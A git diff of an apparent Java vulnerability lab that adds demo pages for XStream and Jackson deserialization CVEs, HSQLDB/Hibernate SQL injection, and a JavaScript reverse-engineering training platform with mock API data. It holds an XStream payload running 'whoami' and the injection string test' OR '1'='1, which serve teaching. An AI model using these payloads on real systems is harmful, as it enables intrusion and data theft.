diff --git a/.gitbook/assets/image-20240127215349622.png b/.gitbook/assets/image-20240127215349622.png deleted file mode 100644 index 4249fbf..0000000 Binary files a/.gitbook/assets/image-20240127215349622.png and /dev/null differ diff --git a/.gitbook/assets/image-20240306164920221.png b/.gitbook/assets/image-20240306164920221.png deleted file mode 100644 index c242731..0000000 Binary files a/.gitbook/assets/image-20240306164920221.png and /dev/null differ diff --git a/.gitbook/assets/image-20240306165001240.png b/.gitbook/assets/image-20240306165001240.png deleted file mode 100644 index d3595ee..0000000 Binary files a/.gitbook/assets/image-20240306165001240.png and /dev/null differ diff --git a/.gitignore b/.gitignore index 833e88e..02fe6f4 100644 --- a/.gitignore +++ b/.gitignore @@ -28,3 +28,14 @@ replay_pid* target/ *.iml +*.iml +actuator_authorized_1.X/actuator_authorized_1.X.iml +actuator_authorized_2.X/actuator_authorized.iml +actuator_unauthorized_1.X/actuator_unauthorized_1.X.iml +actuator_unauthorized_2.X/actuator_unauthorized.iml +base_vul/base_vul.iml +collections/collections.iml +CVE-2019-10173/CVE-2019-10173.iml +CVE-2019-12384/CVE-2019-12384.iml +node_modules/ +/.m2 diff --git a/CVE-2019-10173/CVE-2019-10173.iml b/CVE-2019-10173/CVE-2019-10173.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/CVE-2019-10173/CVE-2019-10173.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/CVE-2019-10173/Dockerfile b/CVE-2019-10173/Dockerfile index ea7ce40..846de7e 100644 --- a/CVE-2019-10173/Dockerfile +++ b/CVE-2019-10173/Dockerfile @@ -9,6 +9,7 @@ FROM wushangleon/java:jdk8u112 COPY --from=builder /opt/app/target/CVE-2019-10173-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/CVE-2019-10173/Dockerfile_local b/CVE-2019-10173/Dockerfile_local index fb90257..5dafc5a 100644 --- a/CVE-2019-10173/Dockerfile_local +++ b/CVE-2019-10173/Dockerfile_local @@ -3,6 +3,7 @@ FROM wushangleon/java:jdk8u112 COPY target/CVE-2019-10173-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/CVE-2019-10173/docker-compose.yaml b/CVE-2019-10173/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/CVE-2019-10173/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/CVE-2019-10173/src/main/java/myapp/PlaygroundController.java b/CVE-2019-10173/src/main/java/myapp/PlaygroundController.java new file mode 100644 index 0000000..32c7a8b --- /dev/null +++ b/CVE-2019-10173/src/main/java/myapp/PlaygroundController.java @@ -0,0 +1,27 @@ +package myapp; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class PlaygroundController { + + @GetMapping(value = {"/", "/playground"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + String payload = "foojava.lang.Comparablewhoamistart"; + return "XStream CVE-2019-10173" + style() + + "

XStream CVE-2019-10173

可编辑 XML payload,发送到 /CVE-2019-10173

" + + "
等待发送请求...
" + + ""; + } + + private String style() { + return ""; + } + + private String esc(String value) { + return value.replace("\\", "\\\\").replace("'", "\\'").replace("\r", "").replace("\n", "\\n"); + } +} diff --git a/CVE-2019-12384/CVE-2019-12384.iml b/CVE-2019-12384/CVE-2019-12384.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/CVE-2019-12384/CVE-2019-12384.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/CVE-2019-12384/Dockerfile b/CVE-2019-12384/Dockerfile index 4812edf..a658a95 100644 --- a/CVE-2019-12384/Dockerfile +++ b/CVE-2019-12384/Dockerfile @@ -9,6 +9,7 @@ FROM wushangleon/java:jdk8u112 COPY --from=builder /opt/app/target/CVE-2019-12384-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/CVE-2019-12384/Dockerfile_local b/CVE-2019-12384/Dockerfile_local index 67630ec..7e0fd4f 100644 --- a/CVE-2019-12384/Dockerfile_local +++ b/CVE-2019-12384/Dockerfile_local @@ -3,6 +3,7 @@ FROM wushangleon/java:jdk8u112 COPY target/CVE-2019-12384-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/CVE-2019-12384/docker-compose.yaml b/CVE-2019-12384/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/CVE-2019-12384/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/CVE-2019-12384/src/main/java/myapp/PlaygroundController.java b/CVE-2019-12384/src/main/java/myapp/PlaygroundController.java new file mode 100644 index 0000000..ae552ec --- /dev/null +++ b/CVE-2019-12384/src/main/java/myapp/PlaygroundController.java @@ -0,0 +1,22 @@ +package myapp; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class PlaygroundController { + + @GetMapping(value = {"/", "/playground"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return "Jackson Databind CVE-2019-12384" + style() + + "

Jackson Databind CVE-2019-12384

该项目的利用逻辑封装在服务端代码里。点击按钮会直接触发 /CVE-2019-12384

" + + "
等待发送请求...
" + + ""; + } + + private String style() { + return ""; + } +} diff --git a/HSQLDB/Dockerfile b/HSQLDB/Dockerfile index ef65213..c0f8a1b 100644 --- a/HSQLDB/Dockerfile +++ b/HSQLDB/Dockerfile @@ -9,6 +9,7 @@ FROM wushangleon/java:jdk8u112 COPY --from=builder /opt/HSQLDB/target/HSQLDB-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/HSQLDB/Dockerfile_local b/HSQLDB/Dockerfile_local index 398de2d..2dffedb 100644 --- a/HSQLDB/Dockerfile_local +++ b/HSQLDB/Dockerfile_local @@ -3,6 +3,7 @@ FROM wushangleon/java:jdk8u112 COPY target/HSQLDB-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/HSQLDB/HSQLDB.iml b/HSQLDB/HSQLDB.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/HSQLDB/HSQLDB.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/HSQLDB/docker-compose.yaml b/HSQLDB/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/HSQLDB/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/HSQLDB/src/main/java/com/myapp/PlaygroundController.java b/HSQLDB/src/main/java/com/myapp/PlaygroundController.java new file mode 100644 index 0000000..b9141db --- /dev/null +++ b/HSQLDB/src/main/java/com/myapp/PlaygroundController.java @@ -0,0 +1,29 @@ +package com.myapp; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class PlaygroundController { + + @GetMapping(value = {"/", "/playground"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return "HSQLDB Playground" + style() + + "

HSQLDB Playground

默认 payload 使用 test' OR '1'='1,这样更容易看到漏洞版返回多条、修复版返回空结果的差异。

" + + panel("attack","HSQLDB attack","/hsqldb?username=test%27%20OR%20%271%27%3D%271") + + panel("repair","HSQLDB repair","/hsqldb_repair?username=test%27%20OR%20%271%27%3D%271") + + "
"; + } + + private String panel(String id, String title, String path) { + return "

" + title + "

等待发送请求...
"; + } + + private String style() { + return ""; + } +} diff --git a/HSQLDB/src/main/resources/application.properties b/HSQLDB/src/main/resources/application.properties index d8bc2bf..96c81c1 100644 --- a/HSQLDB/src/main/resources/application.properties +++ b/HSQLDB/src/main/resources/application.properties @@ -2,3 +2,5 @@ spring.datasource.url=jdbc:hsqldb:mem:testdb spring.datasource.username=sa spring.datasource.password= spring.datasource.driver-class-name=org.hsqldb.jdbc.JDBCDriver +spring.jpa.hibernate.ddl-auto=create-drop +spring.jpa.defer-datasource-initialization=true diff --git a/HSQLDB/src/main/resources/data.sql b/HSQLDB/src/main/resources/data.sql new file mode 100644 index 0000000..6720ccb --- /dev/null +++ b/HSQLDB/src/main/resources/data.sql @@ -0,0 +1,4 @@ +INSERT INTO user (id, username) VALUES (1, 'test'); +INSERT INTO user (id, username) VALUES (2, 'admin'); +INSERT INTO user (id, username) VALUES (3, 'guest'); +INSERT INTO user (id, username) VALUES (4, 'demo'); diff --git a/Hibernate/Dockerfile b/Hibernate/Dockerfile index 61c1270..d30d552 100644 --- a/Hibernate/Dockerfile +++ b/Hibernate/Dockerfile @@ -9,6 +9,7 @@ FROM wushangleon/java:jdk8u112 COPY --from=builder /opt/Hibernate/target/Hibernate-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/Hibernate/Dockerfile_local b/Hibernate/Dockerfile_local index 80e7a84..742c2b8 100644 --- a/Hibernate/Dockerfile_local +++ b/Hibernate/Dockerfile_local @@ -3,6 +3,7 @@ FROM wushangleon/java:jdk8u112 COPY target/Hibernate-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/Hibernate/Hibernate.iml b/Hibernate/Hibernate.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/Hibernate/Hibernate.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/Hibernate/docker-compose.yaml b/Hibernate/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/Hibernate/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/Hibernate/src/main/java/com/myapp/PlaygroundController.java b/Hibernate/src/main/java/com/myapp/PlaygroundController.java new file mode 100644 index 0000000..f51a3c3 --- /dev/null +++ b/Hibernate/src/main/java/com/myapp/PlaygroundController.java @@ -0,0 +1,31 @@ +package com.myapp; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class PlaygroundController { + + @GetMapping(value = {"/", "/playground"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + String attackPath = "/Hibernate_injection?username=test%27%20OR%20%271%27%3D%271"; + String repairPath = "/Hibernate_injection_repair?username=test%27%20OR%20%271%27%3D%271"; + return "Hibernate Playground" + style() + + "

Hibernate Playground

默认 payload 使用 test' OR '1'='1,这样更容易看到漏洞版返回多条、修复版返回空结果的差异。

" + + panel("attack","Hibernate attack",attackPath) + + panel("repair","Hibernate repair",repairPath) + + "
"; + } + + private String panel(String id, String title, String path) { + return "

" + title + "

等待发送请求...
"; + } + + private String style() { + return ""; + } +} diff --git a/Hibernate/src/main/resources/application.properties b/Hibernate/src/main/resources/application.properties index 617389d..96c81c1 100644 --- a/Hibernate/src/main/resources/application.properties +++ b/Hibernate/src/main/resources/application.properties @@ -1,4 +1,6 @@ spring.datasource.url=jdbc:hsqldb:mem:testdb spring.datasource.username=sa spring.datasource.password= -spring.datasource.driver-class-name=org.hsqldb.jdbc.JDBCDriver \ No newline at end of file +spring.datasource.driver-class-name=org.hsqldb.jdbc.JDBCDriver +spring.jpa.hibernate.ddl-auto=create-drop +spring.jpa.defer-datasource-initialization=true diff --git a/Hibernate/src/main/resources/data.sql b/Hibernate/src/main/resources/data.sql new file mode 100644 index 0000000..6720ccb --- /dev/null +++ b/Hibernate/src/main/resources/data.sql @@ -0,0 +1,4 @@ +INSERT INTO user (id, username) VALUES (1, 'test'); +INSERT INTO user (id, username) VALUES (2, 'admin'); +INSERT INTO user (id, username) VALUES (3, 'guest'); +INSERT INTO user (id, username) VALUES (4, 'demo'); diff --git a/JS-hook/Dockerfile b/JS-hook/Dockerfile new file mode 100644 index 0000000..97a1041 --- /dev/null +++ b/JS-hook/Dockerfile @@ -0,0 +1,5 @@ +FROM wushangleon/java:jdk8u112 +COPY target/js-hook-1.0-SNAPSHOT.jar /opt/app.jar + +EXPOSE 8080 +CMD ["java", "-jar", "/opt/app.jar"] diff --git a/JS-hook/Dockerfile_local b/JS-hook/Dockerfile_local new file mode 100644 index 0000000..641aa2d --- /dev/null +++ b/JS-hook/Dockerfile_local @@ -0,0 +1,11 @@ +FROM wushangleon/java:jdk8u112_maven as builder + +COPY . /opt/js-hook +WORKDIR /opt/js-hook +RUN mvn package -DskipTests + +FROM wushangleon/java:jdk8u112 +COPY --from=builder /opt/js-hook/target/js-hook-1.0-SNAPSHOT.jar /opt/app.jar + +EXPOSE 8080 +CMD ["java", "-jar", "/opt/app.jar"] diff --git a/JS-hook/LICENSE b/JS-hook/LICENSE new file mode 100644 index 0000000..94d9a58 --- /dev/null +++ b/JS-hook/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 JSREI(JavaScript Reverse Engineering Infrastructure) + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/JS-hook/README.md b/JS-hook/README.md new file mode 100644 index 0000000..cb4f0a1 --- /dev/null +++ b/JS-hook/README.md @@ -0,0 +1,68 @@ +# JS-hook + +`JS-hook` 是集成在 `D:\JavaVul` 下的一套前端逆向与协议拆解训练场,当前以 `Spring Boot + 静态题页` 的形式运行。 + +## 入口 + +- 首页:`http://localhost:8080/` +- 题库总入口:`http://localhost:8080/js-labs.html` +- 后台页:`http://localhost:8080/admin.html` + +## 当前覆盖范围 + +- `JS 逆向训练`:动态执行、字符串数组、控制流平坦化、反调试、JSFuck、动态签名、source map 缺失定位 +- `协议与加解密`:AES-CBC、AES-ECB、AES-GCM、AES-RSA、RSA、DES、3DES、SM2、SM4、SM2+SM4、Query / Form / FormData、双向报文、头签名、动态密钥、重放窗口 +- `XHR / Hook 实战`:query sign / encrypt、form body、JSON 字段加密、单字段加密、响应解密、header sign、cookie、Hex、Protobuf、拦截器链、视频分片 + +## 目前的判断 + +- 题型大类已经基本齐全 +- 当前主要缺口不在“再加一个题型”,而在“把题库做成可运营靶场平台” + +## 仍需继续补齐的能力 + +- 题目后台管理:题目增删改、难度、标签、答案开关、发布流程 +- 统一判题:验证是否真实 Hook 到点、是否复现 sign、是否还原明文 +- 用户与记录:登录、做题记录、提交历史、学习进度、排行榜 +- 数据持久化:当前优先采用 SQLite,后续如有需要再补 Redis 支撑 nonce、防重放窗口与日志 +- 微服务链路:Gateway、业务服务、上下游透传与真实业务流 +- 前后端分离:独立学员端 / 管理端,而不只是静态 HTML 入口 + +## 关键目录 + +- `D:\JavaVul\JS-hook\src\main\java`:Spring Boot 启动类与后端接口 +- `D:\JavaVul\JS-hook\src\main\resources\static`:首页、题库页与原始案例页 +- `D:\JavaVul\JS-hook\src\main\resources\static\labs`:扩展题库与题目元数据 +- `D:\JavaVul\JS-hook\public`:旧入口说明页 + +## 启动方式 + +```bash +cd D:\JavaVul\JS-hook +mvn spring-boot:run +``` + +## SQLite 持久化 + +- 默认数据库文件:`D:\JavaVul\JS-hook\js-hook.db` +- 初始化表:`lab_challenge`、`lab_submission` +- 启动时会自动把 `src/main/resources/static/labs/challenges.json` 同步到 SQLite + +## 新增接口 + +- `GET /api/catalog/overview`:题库概览统计 +- `GET /api/catalog/challenges`:按条件查询题目 +- `GET /api/catalog/challenges/{id}`:查看单题元数据 +- `POST /api/catalog/sync`:从 `challenges.json` 重新同步题库 +- `POST /api/catalog/sync-rules`:同步默认判题规则 +- `POST /api/catalog/submissions`:写入做题提交记录 +- `POST /api/catalog/judge`:执行自动判题并写入提交记录 +- `GET /api/catalog/submissions`:查看提交记录 +- `GET /api/catalog/rules`:查看当前判题规则 + +## 建议的下一阶段路线 + +1. 先补 `题目后台 + 判题 + 提交记录` +2. 再补 `SQLite 持久化 + 可选 Redis` +3. 然后拆 `gateway + business-service` +4. 最后补 `学员端 / 管理端` 与容器化编排 diff --git a/JS-hook/docker-compose.yaml b/JS-hook/docker-compose.yaml new file mode 100644 index 0000000..6fe738c --- /dev/null +++ b/JS-hook/docker-compose.yaml @@ -0,0 +1,9 @@ +version: '3' +services: + js-hook: + image: wushangleon/js-hook + build: + context: . + dockerfile: Dockerfile_local + ports: + - "48159:8080" diff --git a/JS-hook/fake-api-server/api/bidirectional-protobuf-data-analytics b/JS-hook/fake-api-server/api/bidirectional-protobuf-data-analytics new file mode 100644 index 0000000..17ab584 --- /dev/null +++ b/JS-hook/fake-api-server/api/bidirectional-protobuf-data-analytics @@ -0,0 +1,25 @@ +{ + "success": true, + "message": "GitHub Pages 环境下的模拟双向 Protocol Buffers 响应", + "data": { + "request_id": "ghi789analytics", + "timestamp": 1738252800, + "success": true, + "service_name": "data-analytics", + "status_code": 200, + "analytics_response": { + "success": true, + "message": "sales分析完成", + "report_id": "RPTEF789GH012", + "analytics_type": "sales", + "metrics": { + "总数据量": 85000, + "处理时间": 45, + "准确率": 92, + "覆盖率": 88 + }, + "download_url": "https://reports.example.com/download/abc123def456", + "generated_at": 1738252800 + } + } +} diff --git a/JS-hook/fake-api-server/api/bidirectional-protobuf-notification b/JS-hook/fake-api-server/api/bidirectional-protobuf-notification new file mode 100644 index 0000000..5a6ae8c --- /dev/null +++ b/JS-hook/fake-api-server/api/bidirectional-protobuf-notification @@ -0,0 +1,19 @@ +{ + "success": true, + "message": "GitHub Pages 环境下的模拟双向 Protocol Buffers 响应", + "data": { + "request_id": "jkl012notification", + "timestamp": 1738252800, + "success": true, + "service_name": "notification", + "status_code": 200, + "notification_response": { + "success": true, + "message": "push通知发送成功", + "notification_id": "NOTIJ345KL678", + "status": "sent", + "sent_at": 1738252800, + "delivery_status": "delivered" + } + } +} diff --git a/JS-hook/fake-api-server/api/bidirectional-protobuf-order-processing b/JS-hook/fake-api-server/api/bidirectional-protobuf-order-processing new file mode 100644 index 0000000..24f32ee --- /dev/null +++ b/JS-hook/fake-api-server/api/bidirectional-protobuf-order-processing @@ -0,0 +1,22 @@ +{ + "success": true, + "message": "GitHub Pages 环境下的模拟双向 Protocol Buffers 响应", + "data": { + "request_id": "def456order", + "timestamp": 1738252800, + "success": true, + "service_name": "order-processing", + "status_code": 200, + "order_response": { + "success": true, + "message": "订单create操作成功", + "order_id": "ORD789012", + "customer_id": "CUST456789", + "amount": 1299.99, + "payment_method": "alipay", + "status": "processing", + "created_at": 1738252800, + "tracking_number": "TRKAB123CD456" + } + } +} diff --git a/JS-hook/fake-api-server/api/bidirectional-protobuf-user-management b/JS-hook/fake-api-server/api/bidirectional-protobuf-user-management new file mode 100644 index 0000000..b59387d --- /dev/null +++ b/JS-hook/fake-api-server/api/bidirectional-protobuf-user-management @@ -0,0 +1,22 @@ +{ + "success": true, + "message": "GitHub Pages 环境下的模拟双向 Protocol Buffers 响应", + "data": { + "request_id": "abc123user", + "timestamp": 1738252800, + "success": true, + "service_name": "user-management", + "status_code": 200, + "user_response": { + "success": true, + "message": "用户create操作成功", + "user_id": "USR123456", + "name": "张三", + "email": "zhangsan@company.com", + "role": "user", + "status": "active", + "created_at": 1738252800, + "updated_at": 1738252800 + } + } +} diff --git a/JS-hook/fake-api-server/api/header-sign-admin b/JS-hook/fake-api-server/api/header-sign-admin new file mode 100644 index 0000000..2bbd7fa --- /dev/null +++ b/JS-hook/fake-api-server/api/header-sign-admin @@ -0,0 +1,20 @@ +{ + "success": true, + "message": "GitHub Pages 环境下的模拟请求头签名验证响应", + "data": { + "request_id": "REQJKL012ADMIN", + "timestamp": 1738252800, + "signature_valid": true, + "api_type": "admin", + "client_id": "CLIENT_JKL012MNO345", + "admin_result": { + "status": "authorized", + "action": "system_config", + "admin_level": "super", + "admin_id": "ADMIN001", + "operation_id": "OPSYS345678901234", + "audit_log": "管理员ADMIN001执行system_config操作", + "session_id": "SES123456789ABC" + } + } +} diff --git a/JS-hook/fake-api-server/api/header-sign-payment b/JS-hook/fake-api-server/api/header-sign-payment new file mode 100644 index 0000000..8c4adc2 --- /dev/null +++ b/JS-hook/fake-api-server/api/header-sign-payment @@ -0,0 +1,20 @@ +{ + "success": true, + "message": "GitHub Pages 环境下的模拟请求头签名验证响应", + "data": { + "request_id": "REQABC123PAYMENT", + "timestamp": 1738252800, + "signature_valid": true, + "api_type": "payment", + "client_id": "CLIENT_ABC123DEF456", + "payment_result": { + "status": "success", + "transaction_id": "TXNPAY789012345", + "amount": 1299.99, + "payment_method": "alipay", + "fee": "7.80", + "order_id": "PAY202501270001", + "merchant_id": "MCH123456789" + } + } +} diff --git a/JS-hook/fake-api-server/api/header-sign-sensitive b/JS-hook/fake-api-server/api/header-sign-sensitive new file mode 100644 index 0000000..88e2965 --- /dev/null +++ b/JS-hook/fake-api-server/api/header-sign-sensitive @@ -0,0 +1,20 @@ +{ + "success": true, + "message": "GitHub Pages 环境下的模拟请求头签名验证响应", + "data": { + "request_id": "REQGHI789SENSITIVE", + "timestamp": 1738252800, + "signature_valid": true, + "api_type": "sensitive", + "client_id": "CLIENT_GHI789JKL012", + "access_result": { + "status": "granted", + "data_type": "financial", + "access_level": "write", + "user_id": "USER789012345", + "department": "finance", + "access_token": "ATFINANCE123456789ABCDEF", + "expires_in": 3600 + } + } +} diff --git a/JS-hook/fake-api-server/api/header-sign-transfer b/JS-hook/fake-api-server/api/header-sign-transfer new file mode 100644 index 0000000..91a4357 --- /dev/null +++ b/JS-hook/fake-api-server/api/header-sign-transfer @@ -0,0 +1,20 @@ +{ + "success": true, + "message": "GitHub Pages 环境下的模拟请求头签名验证响应", + "data": { + "request_id": "REQDEF456TRANSFER", + "timestamp": 1738252800, + "signature_valid": true, + "api_type": "transfer", + "client_id": "CLIENT_DEF456GHI789", + "transfer_result": { + "status": "processing", + "transfer_id": "TRFBANK567890123", + "amount": 5000.00, + "currency": "CNY", + "from_account": "6222021234567890123", + "to_account": "6222029876543210987", + "estimated_arrival": "2-24小时内到账" + } + } +} diff --git a/JS-hook/fake-api-server/api/interceptor-analytics-service b/JS-hook/fake-api-server/api/interceptor-analytics-service new file mode 100644 index 0000000..efd283e --- /dev/null +++ b/JS-hook/fake-api-server/api/interceptor-analytics-service @@ -0,0 +1,20 @@ +{ + "request_id": "REQMNO345ANALYTICS", + "timestamp": 1738252800, + "signature_valid": true, + "service_name": "analytics-service", + "interceptor_id": "INTANA345", + "client_id": "CLIENT_MNO345PQR678", + "service_result": { + "status": "success", + "reports_generated": 78, + "data_points": 567890, + "processing_time": "3.45", + "analytics_data": { + "conversion_rate": "8.76", + "bounce_rate": "34.56", + "avg_session_duration": "245", + "top_pages": "产品页" + } + } +} diff --git a/JS-hook/fake-api-server/api/interceptor-inventory-service b/JS-hook/fake-api-server/api/interceptor-inventory-service new file mode 100644 index 0000000..c969fb7 --- /dev/null +++ b/JS-hook/fake-api-server/api/interceptor-inventory-service @@ -0,0 +1,20 @@ +{ + "request_id": "REQJKL012INVENTORY", + "timestamp": 1738252800, + "signature_valid": true, + "service_name": "inventory-service", + "interceptor_id": "INTINV012", + "client_id": "CLIENT_JKL012MNO345", + "service_result": { + "status": "success", + "total_products": 1567, + "in_stock": 1456, + "out_of_stock": 23, + "inventory_data": { + "total_value": "3456789.00", + "low_stock_alerts": 12, + "categories": 34, + "warehouses": 6 + } + } +} diff --git a/JS-hook/fake-api-server/api/interceptor-notification-service b/JS-hook/fake-api-server/api/interceptor-notification-service new file mode 100644 index 0000000..a42d556 --- /dev/null +++ b/JS-hook/fake-api-server/api/interceptor-notification-service @@ -0,0 +1,20 @@ +{ + "request_id": "REQPQR678NOTIFICATION", + "timestamp": 1738252800, + "signature_valid": true, + "service_name": "notification-service", + "interceptor_id": "INTNOT678", + "client_id": "CLIENT_PQR678STU901", + "service_result": { + "status": "success", + "messages_sent": 4567, + "delivery_rate": "96.78", + "failed_deliveries": 23, + "notification_data": { + "email_sent": 1567, + "sms_sent": 678, + "push_sent": 2345, + "channels": ["email", "sms", "push", "webhook"] + } + } +} diff --git a/JS-hook/fake-api-server/api/interceptor-order-service b/JS-hook/fake-api-server/api/interceptor-order-service new file mode 100644 index 0000000..346481f --- /dev/null +++ b/JS-hook/fake-api-server/api/interceptor-order-service @@ -0,0 +1,19 @@ +{ + "request_id": "REQDEF456ORDER", + "timestamp": 1738252800, + "signature_valid": true, + "service_name": "order-service", + "interceptor_id": "INTORDER456", + "client_id": "CLIENT_DEF456GHI789", + "service_result": { + "status": "success", + "total_orders": 3456, + "pending_orders": 123, + "completed_orders": 3200, + "order_data": { + "daily_orders": 234, + "average_value": "156.78", + "top_category": "电子产品" + } + } +} diff --git a/JS-hook/fake-api-server/api/interceptor-payment-service b/JS-hook/fake-api-server/api/interceptor-payment-service new file mode 100644 index 0000000..0b585ca --- /dev/null +++ b/JS-hook/fake-api-server/api/interceptor-payment-service @@ -0,0 +1,23 @@ +{ + "request_id": "REQGHI789PAYMENT", + "timestamp": 1738252800, + "signature_valid": true, + "service_name": "payment-service", + "interceptor_id": "INTPAY789", + "client_id": "CLIENT_GHI789JKL012", + "service_result": { + "status": "success", + "total_transactions": 6789, + "successful_payments": 6543, + "failed_payments": 45, + "payment_data": { + "total_amount": "567890.12", + "average_transaction": "123.45", + "payment_methods": { + "credit_card": 45, + "alipay": 35, + "wechat_pay": 20 + } + } + } +} diff --git a/JS-hook/fake-api-server/api/interceptor-user-service b/JS-hook/fake-api-server/api/interceptor-user-service new file mode 100644 index 0000000..355e5c5 --- /dev/null +++ b/JS-hook/fake-api-server/api/interceptor-user-service @@ -0,0 +1,19 @@ +{ + "request_id": "REQABC123USER", + "timestamp": 1738252800, + "signature_valid": true, + "service_name": "user-service", + "interceptor_id": "INTUSER123", + "client_id": "CLIENT_ABC123DEF456", + "service_result": { + "status": "success", + "user_count": 8567, + "active_users": 3245, + "new_registrations": 67, + "user_data": { + "total_users": 45678, + "premium_users": 3456, + "last_login_24h": 6789 + } + } +} diff --git a/JS-hook/fake-api-server/api/items b/JS-hook/fake-api-server/api/items new file mode 100644 index 0000000..1db3016 --- /dev/null +++ b/JS-hook/fake-api-server/api/items @@ -0,0 +1,7 @@ +{ + "items": [ + { "id": 1, "name": "Static Item 1" }, + { "id": 2, "name": "Static Item 2" }, + { "id": 3, "name": "Static Item 3" } + ] +} diff --git a/JS-hook/fake-api-server/api/login b/JS-hook/fake-api-server/api/login new file mode 100644 index 0000000..bd2a9cb --- /dev/null +++ b/JS-hook/fake-api-server/api/login @@ -0,0 +1,12 @@ +{ + "success": true, + "message": "登录成功", + "user": { + "id": 1, + "username": "管理员", + "email": "admin@example.com" + }, + "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c", + "loginTime": "2025-01-31T12:00:00.000Z", + "rememberMe": true +} diff --git a/JS-hook/fake-api-server/api/protobuf-order b/JS-hook/fake-api-server/api/protobuf-order new file mode 100644 index 0000000..91557d0 --- /dev/null +++ b/JS-hook/fake-api-server/api/protobuf-order @@ -0,0 +1,28 @@ +{ + "success": true, + "message": "GitHub Pages 环境下的模拟 Protocol Buffers 响应", + "data": { + "request_id": "ghi789", + "timestamp": 1738252800, + "success": true, + "message": "订单 ORD789GHI 处理成功", + "code": 200, + "order_info": { + "order_id": "ORD789GHI", + "customer_name": "李四", + "customer_email": "lisi@example.com", + "products": [{ + "name": "智能手机", + "price": 2999.99, + "category": "electronics", + "brand": "TechBrand", + "stock": 1 + }], + "total_amount": 5999.98, + "status": "confirmed", + "created_at": 1738252800, + "shipping_address": "上海市浦东新区张江高科技园区", + "payment_method": "credit_card" + } + } +} diff --git a/JS-hook/fake-api-server/api/protobuf-product b/JS-hook/fake-api-server/api/protobuf-product new file mode 100644 index 0000000..bed6e76 --- /dev/null +++ b/JS-hook/fake-api-server/api/protobuf-product @@ -0,0 +1,27 @@ +{ + "success": true, + "message": "GitHub Pages 环境下的模拟 Protocol Buffers 响应", + "data": { + "request_id": "def456", + "timestamp": 